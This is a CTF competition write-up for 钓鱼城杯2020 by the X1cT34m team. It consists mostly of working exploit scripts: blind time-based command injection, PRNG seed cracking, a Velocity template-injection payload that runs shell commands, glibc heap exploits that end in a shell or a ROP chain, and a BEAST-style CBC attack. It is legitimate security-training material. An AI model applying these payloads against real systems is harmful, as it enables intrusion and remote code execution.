钓鱼城杯2020 Writeup by X1cT34m-小绿草信息安全实验室

misc

签到

直接复制粘贴

whitespace

whitespace语言,附件下载下来直接找一个在线运行网站运行获得flag
https://vii5ard.github.io/whitespace/

web

easyweb

import requests
import time

url = "http://119.3.37.185/"
requests.adapters.DEFAULT_RETRIES = 3  # 最大重连次数防止出问题

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
           'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
           }

SLEEP_TIME = 0.3
kai_shi = time.time()
flag = ""
i = 0  # 计数器
print("[start]: -------")

while (True):
    head = 32
    tail = 127
    i += 1

    while (head < tail):
        mid = (head + tail) >> 1
        payload = '''h3zh1=$( cat /flag.txt |base64 | cut -c %d-%d );if [ $( printf '%%d' "'$h3zh1" ) -gt %d ];then sleep %f;fi''' % (
        i, i, mid, SLEEP_TIME)
        data = {
            "cmd": payload
        }
        start_time = time.time()  # 开始
        r = requests.post(url, data=data, headers=headers)
        end_time = time.time()  # 结束
        # print(payload)

        if (end_time - start_time > SLEEP_TIME):
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        flag += chr(head)
        print("[+]: " + flag)
    else:
        break

print("[end]: " + flag)
jie_shu = time.time()

print("程序运行时间:" + str(jie_shu - kai_shi))
#YmluCmJvb3QKZGV2CmV0YwpmbGFnLnR4dApob21lCmxpYgpsaWI2NAptZWRpYQptbnQKb3B0CnBy
#ZmxhZ3traWpidnN0c2JzbnNqMWQ5YmM4fQ==

题目中间有一段时间很卡,会影响脚本的判断。
然后就是有些时候因为卡会爆破出来的flag有错

esayseed

扫目录发现index.bak,发现是伪随机数爆破
用这个脚本:

<?php
$pass_now = "vEUHaY";//给出的密钥
$allowable_characters = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ';//字母表

$length = strlen($allowable_characters) - 1;

for ($j = 0; $j <= strlen($pass_now); $j++) {//遍历密钥
    for ($i = 0; $i < $length; $i++) {//遍历字母表
        if ($pass_now[$j] == $allowable_characters[$i]) {
            echo "$i $i 0 $length ";
            break;
        }
    }
}
?>

运行的结果用php_mt_seed-4.0爆破出种子718225

<?php
mt_srand(718225);

$lock = random(6, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
$key = random(16, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');

function random($length, $chars = '0123456789ABC') {

    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}
echo $lock,'   ',$key;

得到结果用cookie传递过去,加上XFF头127.0.0.1获得flag

zblog

简单java.就是环境卡的要死。
titile参数存在文件读取。后面看源码会发现是任意模板文件渲染的。用的路径拼接。所以路径不能随便构造。先fuzz一下可以找到根目录的位置。读下/proc/self/cmdline

java -jar /home/ctf/web/target/web-1.0-SNAPSHOT-jar-with-dependencies.jar

根据target路径结构看的出来是个maven的架构。那读下pom.xml。发现

 <mainClass>Blog</mainClass>

加载的主类Blog.class。按照maven默认没有包的结构直接读../../../../src/main/java/Blog.java

import static spark.Spark.*;
import java.io.*;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import spark.template.velocity.VelocityTemplateEngine;

import java.io.StringWriter;

public class Blog {

    private static void log(String fname, String content) {
        try {
            FileWriter writer = new FileWriter(fname, true);
            writer.write(content);
            writer.close();
        } catch (IOException e) {

        }
    }

    public static void main(String[] arg) {
        staticFiles.location("/public");

        VelocityEngine velocityEngine = new VelocityEngine();
        velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
        velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "/");
        velocityEngine.init();
        VelocityContext context = new VelocityContext();

        get("/", (request, response) -> {
            request.session(true);
            String title = request.queryParams("title");
            if (title != null) {
                log("/tmp/" + request.session().id(), "Client IP: " + request.ip() + " -> File: " + title + "\n");
                Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/" + title);
                StringWriter sw = new StringWriter();
                template.merge(context, sw);
                return sw;
            }
            Template template = velocityEngine.getTemplate("/home/ctf/web/src/main/resources/templates/index");
            StringWriter sw = new StringWriter();
            template.merge(context, sw);
            return sw;
        });
    }
}

逻辑是title参数除了会按值找到对应模板文件渲染。还会将参数按照sessionid存储到tmp/下。那么此处应该先传payload再进行渲染。即可触发ssti达成rce.

简单写个exp

import requests

url='http://122.112.253.135/'

session='node0wjq18duzt9pg4ddli5qyyfqn3034.node0'
id=session.rstrip('.node0')
'''
data={'title':'../../../../src/main/java/Blog.java'}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
print(r.text)
'''
data={'title':"#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('grep -r flag /tmp')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end"}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
data={'title':'../../../../../../../tmp/'+id}
r=requests.get(url,params=data,cookies={'JSESSIONID':session})
print(r.text)

比较狗的就是flag在/tmp下。因为session文件太多进行相关操作直接卡死。一个个试发现最后只有grep -r flag /tmp不会卡。

pwn

veryeasy

首先申请10次块,那个限制就变成-1了,之后几乎没有什么限制了,可以看作普通的UAF的glibc 2.27的题

from pwn import*
context.log_level = 'DEBUG'
def menu(ch):
    p.sendlineafter('Your choice :',str(ch))
def new(index,size,content):
    menu(1)
    p.sendlineafter('id:',str(index))
    p.sendlineafter('size:',str(size))
    p.sendafter('content:',content)
def edit(index,content):
    menu(2)
    p.sendlineafter('id:',str(index))
    p.sendafter('content:',content)
def free(index):
    menu(3)
    p.sendlineafter('id:',str(index))
def show(index):
    menu(4)
p = process('./main')
p = remote('122.112.225.164',10001)
libc =ELF('./libc-2.27.so')
for i in range(10):
    new(i,0xF0,'FMYY')
for i in range(8):
    free(0)
edit(0,'\x60\xF7')
new(10,0xF0,'FMYY')
new(11,0xF0,p64(0xFBAD1800) + '\x00'*0x18 + '\xC8')
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
log.info('LIBC:\t' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
edit(0,p64(0)*2)
free(0)
edit(0,p64(free_hook))
new(14,0xF0,'/bin/sh\x00')
new(15,0xF0,p64(system))
free(14)
p.interactive()

unknown

add块的时候,有index的负数溢出,用堆块的指针把前面某个块的size覆盖,然后edit 这个size被覆盖的块,就能形成堆溢出,而覆盖会检测覆盖的位置是否为0,所以这个size被覆盖的块申请时size需要为0

from pwn import*
context.log_level = 'DEBUG'
def menu(ch):
    p.sendlineafter('Your choice: ',str(ch))
def new(index,size):
    menu(1)
    p.sendlineafter('Index: ',str(index))
    p.sendlineafter('Size: ',str(size))
def edit(index,content):
    menu(2)
    p.sendlineafter('Index: ',str(index))
    p.send(content)
def show(index):
    menu(3)
    p.sendlineafter('Index: ',str(index))
def free(index):
    menu(4)
    p.sendlineafter('Index: ',str(index))

p = process('./main')
p = remote('122.112.212.41',6666)
libc = ELF('./libc-2.27.so')
for i in range(8):
    new(i,0xF8)
for i in range(8):
    free(7 - i)
for i in range(7):
    new(i + 1,0xF8)
new(0,0x78)
show(0)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 0x10 - libc.sym['__malloc_hook'] - 336
log.info('LIBC:\t' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
new(8,0x78)
new(14,0)
new(15,0)
free(15)
new(-2,0x1FF)
edit(14,'\x00'*0x18 + p64(0x21) + p64(free_hook) + '\n')
new(15,0x10)
edit(15,'/bin/sh\x00\n')
new(13,0x10)
edit(13,p64(system) + '\n')
free(15)
p.interactive()

fsplayground

和攻防世界的house of grey差不多,但是这个要简单许多,首先从 /proc/self/maps获取libc_base,然后打开/proc/self/mem,属性为1,lseek修改位置为free_hook,然后case 5往free_hook中写入rce即可

from pwn import*
p = process('./main')
libc = ELF('./libc-2.27.so')
p = remote('119.3.111.133',6666)
context.log_level = 'DEBUG'
context.arch = 'AMD64'
def menu(ch):
    p.sendlineafter('Your choice:',str(ch))
def O(name,sign):
    menu(1)
    p.sendlineafter('Filename:',name)
    p.sendlineafter('Option:',str(sign))
def C():
    menu(2)
def L(off):
    menu(3)
    p.sendlineafter('Offset: ',str(off))
def R(size):
    menu(4)
    p.sendlineafter('Size: ',str(size))
def W(size,content):
    menu(5)
    p.sendlineafter('Size: ',str(size))
    p.sendafter('Content: ',content)
O('/proc/self/maps\x00',0)

R(0x800)
p.recvuntil('Content: ')
proc_base = int(p.recv(12),16)
p.recvuntil('7f')
libc_base = int(('7F' + p.recv(10)),16)
log.info('LIBC:\t'  + hex(libc_base))
log.info('Proc:\t'  + hex(proc_base))
free_hook  =libc_base + libc.sym['__free_hook']
rce = libc_base + 0x4F3C2
C()
O('/proc/self/mem\x00',1)
L(free_hook)
W(0x30,p64(rce))
p.interactive()

block

感觉我是非预期了,那个2333的选项应该是个后门函数,然而没用到,edit 存在单字节溢出,可以形成 overlap,unsorted bin中存在两个块就能leak libc和heap,然后double free劫持IO_list_all的指针,指向heap上2.24之后FSOP方法,buf base作为rdi,所以布局一下就能利用 setcontext+53 进行沙盒orw了

from pwn import*
#context.log_level = 'DEBUG'
def menu(ch):
    p.sendlineafter('Choice >>',str(ch))
def new(tp,size,content):
    menu(1)
    p.sendlineafter('type:',str(tp))
    p.sendlineafter('size',str(size))
    '''
    big :  0x400 ~ 
    medium:  0x200 ~ 0x400
    small : 0 ~ 0x200
    ptr[0] = p
    ptr[1] = type
    ptr[2] = size | 1
    ptr[3] = (2 || 4 || 8)*size
    '''
    p.sendafter('content: ',content)
def free(index):
    menu(2)
    p.sendlineafter('index: ',str(index))
def show(index):
    menu(3)
    p.sendlineafter('index: ',str(index))
def edit(index,content):
    menu(4)
    p.sendlineafter('index: ',str(index))
    p.sendafter('content: ',content)
p = process('./main')
p = remote('122.112.204.227',6666)
libc =ELF('./libc-2.27.so')
for i in range(7):
    new(3,0x1E0,'FMYY\n')
for i in range(7):
    free(i)
for i in range(7):
    new(3,0x170,'FMYY\n')
for i in range(7):
    free(i)
new(3,0x68,'FMYY\n')
new(3,0x108,'FMYY\n')
new(3,0x68,'FMYY\n') #2
new(3,0x68,'FMYY\n') #3
new(3,0x68,'FMYY\n') #4
new(1,0x500,'FMYY\n') #5
new(3,0x68,'FMYY\n') #6
edit(0,'\x00'*0x68 + '\xF1')
free(1)
new(3,0x108,'FMYY\n')#1
new(3,0x68,'FMYY\n') #7
free(5)
show(3)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\t' + hex(libc_base))
p.recv(2)
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x28D0 - 0x130
log.info('HEAP:\t' + hex(heap_base))
new(3,0x68,'FMYY\n') #8
free(2)
free(4)
free(7)
IO_list_all = libc_base + libc.sym['_IO_list_all']
IO_str_jumps = libc_base + 0x3E8360
fake_IO_FILE  = p64(0) + p64(0)
fake_IO_FILE += p64(0) + p64(0)
fake_IO_FILE += p64(0) + p64(1)
fake_IO_FILE += p64(0) + p64(heap_base + 0x2790 - 0xA0 + 0x130)
fake_IO_FILE  = fake_IO_FILE.ljust(0xD8,'\x00')
fake_IO_FILE += p64(IO_str_jumps - 8)
fake_IO_FILE += p64(0) + p64(libc_base + libc.sym['setcontext'] + 53)

pop_rdi_ret = libc_base + 0x000000000002155F
pop_rdx_ret = libc_base + 0x0000000000001B96
pop_rax_ret = libc_base + 0x0000000000043A78
pop_rsi_ret = libc_base + 0x0000000000023E8A
syscall = libc_base + libc.sym['syscall']
ret = libc_base + 0x00000000000008AA
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Puts = libc_base + libc.sym['puts']
FLAG  = heap_base + 0x2870 + 0x130

orw  = p64(pop_rdi_ret) + p64(FLAG)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(Open)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(heap_base + 0x2000 + 0x130)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(heap_base + 0x2000 + 0x130)
orw += p64(Puts)
new(3,0x68,p64(libc_base + libc.sym['_IO_list_all'] -0x23) + '\n') #2
new(3,0x68,'./flag\x00\x00\n') #4
new(3,0x68,p64(heap_base + 0x29D0 + 0x130) + p64(ret) + '\n') #7
new(3,0x68,'\x00'*0x13 + p64(heap_base + 0x28E0 + 0x130) + '\n') #9
new(3,0x180,fake_IO_FILE + orw + '\n')
menu(5)
p.interactive()

Crypto

confused_flag

疯狂nc,即可得到flag

from pwn import *

while True:
    r = remote("119.3.45.222", 9999)
    rec = r.recvline().strip()
    r.close()
    if b"flag" in rec:
        print(rec)
        break

flag{b09dfe78-df9e-36dd-89a1-b7efb2e19e65}

crypto0

出题人改的我WMCTF出的原题Game。

没什么好说的,就BEAST ATTACK,改改脚本就能得到flag。

# !/usr/bin/env python3
import re, string
from hashlib import sha256
from itertools import product

from pwn import *

def xor(a, b):
    return bytes(x^y for x, y in zip(a, b))

def hex2bytes(data):
    return bytes.fromhex(data.decode())

r = remote("122.112.254.205", 10003)
# context.log_level = 'debug'

# PoW
# r.recvlines(13) # banner
# rec = r.recvline().decode()
# suffix = re.findall(r'XXXX\+([^\)]+)', rec)[0]
# digest = re.findall(r'== ([^\n]+)', rec)[0]
# print(f"suffix: {suffix} \ndigest: {digest}")
# print('Calculating hash...')
# for i in product(string.ascii_letters + string.digits, repeat=4):
#     prefix = ''.join(i)
#     guess = prefix + suffix
#     if sha256(guess.encode()).hexdigest() == digest:
#         print(guess)
#         break
# r.sendafter(b'Give me XXXX: ', prefix.encode())

# Attack
# rec = r.recvline().decode()
# IV_hex = re.findall(r'([0-9a-f]{32})', rec)[0]
# IV = bytes.fromhex(IV_hex)

r.recvuntil(b"> ")
r.sendline(b"1")
r.sendlineafter(b"Your message (in hex): ", b"12")

rec = r.recvline().strip().decode()
print(rec)
IV = bytes.fromhex(rec)[-16:]

def getLastBit(known, cipher, IV):
    """
    known: first 15 bytes that we know

    cipher: Ek(known + ?) where ? is one byte that we want to get

    returns (?, IV)
    """
    for i in range(256):
        r.sendlineafter(b"> ", b"1")
        payload = xor(IV, known + bytes([i]))  # Ek(known + i) where len(known) = 15, len(i) = 1
        r.sendlineafter(b"(in hex): ", payload.hex().encode())

        rec = r.recvline(keepends=False)
        IV = hex2bytes(rec[-16*2:])
        if hex2bytes(rec[:16*2]) == cipher:
            return bytes([i]), IV
    return None

# Recover byte by byte.
recovered = b""
for k in range(4):
    # k=0: secret[0:15]   l={15, 14, ..., 1}
    # k=1: secret[15:31]  l={16, 15, ..., 1}
    # k=2: secret[31:47]  l={16, 15, ..., 1}
    # k=3: secret[47:48]  l={16}
    start = 15 if k == 0 else 16
    end   = 15 if k == 3 else 0
    for l in range(start, end, -1):
        r.sendlineafter(b"> ", b"1")
        r.sendlineafter(b"(in hex): ", IV[:l].hex().encode())
        rec = hex2bytes(r.recvline(keepends=False))
        if k == 0:
            known = b"\x00"*l + xor(IV[l:-1], recovered)
            last_byte = IV[-1:]
            cipher, IV = rec[:16], rec[-16:]
        else:
            known_IV, cipher, IV = rec[16*(k-1):16*k], rec[16*k:16*(k+1)], rec[-16:]
            known = xor(known_IV, recovered[-15:])
            last_byte = known_IV[-1:]

        byte, IV = getLastBit(known, cipher, IV)
        recovered += xor(byte, last_byte)
        print(recovered.hex(), len(recovered))

# Get flag.
r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"(in hex): ", recovered.hex().encode())
print(r.recvline(keepends=False))

r.close()
钓鱼城杯2020 Writeup by X1cT34m-小绿草信息安全实验室

flag{1f5205a05b6f4e28478b79e681d6ae25508b785a48}